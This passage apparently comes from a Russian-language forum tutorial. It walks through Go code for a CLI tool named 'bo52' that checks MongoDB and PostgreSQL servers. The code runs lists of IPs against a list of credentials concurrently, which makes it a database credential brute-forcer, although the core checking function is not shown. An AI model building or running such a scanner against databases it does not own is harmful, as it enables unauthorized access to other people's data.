            go func(ip string) {
                defer wg.Done()
                semaphore <- struct{}{}
                defer func() { <-semaphore }()
                for _, cred := range creds {
                    msg := mongo.MongoCheck(ip, cred)
                    if msg == "break" {
                        break
                    }
                }
            }(ip)
        }

        wg.Wait()
    },
}

Создание команды Cobra для проверки MongoDB Use: "mongo" — определяет команду CLI как mongo. Short: "Perform MongoDB checks" — краткое описание команды. Run: переносим логику работы. Код для postgres.go аналогичен.

Код из файла root.go:

C-подобный: Скопировать в буфер обмена
Код:
package cmd

// 1
import (
    "github.com/spf13/cobra"
)

// 2
var rootCmd = &cobra.Command{
    Use:   "bo52",
    Short: "A CLI tool for MongoDB and PostgreSQL checks",
}

// 3
func Execute() error {
    return rootCmd.Execute()
}

// 4
func init() {
    rootCmd.AddCommand(mongoCmd)
    rootCmd.AddCommand(postgresCmd)
}

  1. Импортирует пакет Cobra.
  2. Определяет корневую команду. Use — определяет основное имя команды CLI как bo52. Это будет основная команда, которая вызывается в CLI. Short — краткое описание корневой команды.
  3. Функция Execute вызывает метод Execute на корневой команде rootCmd. Это запускает обработку команд CLI, которые были зарегистрированы.
  4. Функция init вызывается автоматически при запуске программы. В этой функции добавляются подкоманды mongoCmd и postgresCmd к корневой команде rootCmd.

Основной код функций main, в котором вызываем функцию Execute:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bo52/cmd"
    "log"
    "os"
)

func main() {
    if err := cmd.Execute(); err != nil {
        log.Fatal(err)
        os.Exit(1)
    }
}
```

Для вызова кода для проверки нужной СУБД добавляем её название в качестве аргумента командной строки.

Исходный код прикреплён к сообщению. Трям! Пока!
 
Сверху Снизу